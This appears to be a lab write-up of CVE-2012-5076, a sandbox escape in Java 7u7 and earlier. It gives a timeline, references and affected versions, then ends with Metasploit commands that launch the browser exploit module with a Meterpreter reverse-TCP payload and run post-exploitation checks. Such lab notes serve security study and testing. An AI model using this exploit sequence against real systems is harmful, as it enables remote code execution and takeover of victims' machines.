Timeline :

Vulnerability patched by Oracle in 2012 October CPU
Vulnerability discovered exploited in the wild by kafeine the 2012-11-09
First Metasploit PoC provided the 2012-11-11
Second Metasploit PoC provided the 2013-01-22

PoC provided by :

Unknown
juan vazquez

Reference(s) :

CVE-2012-5076
OSVDB-86363
BID-56054
Cool EK : “Hello my friend…”
Oracle October 2012 CPU
New Java Modules in Metasploit… No 0 days this time

Affected version(s) :

Oracle Java version 7 Update 7 and earlier.

Tested on Windows 8 Pro with :

Internet Explorer 10
Oracle Java 7 Update 7

Description :

This module abuses the AverageRangeStatisticImpl from a Java Applet to run arbitrary Java code outside of the sandbox, a different exploit vector than the one exploited in the wild in November of 2012. The vulnerability affects Java version 7u7 and earlier.

Commands :

use exploit/multi/browser/java_jre17_glassfish_averagerangestatisticimpl
set SRVHOST 192.168.178.26
set TARGET 1
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.178.26
exploit

getuid
sysinfo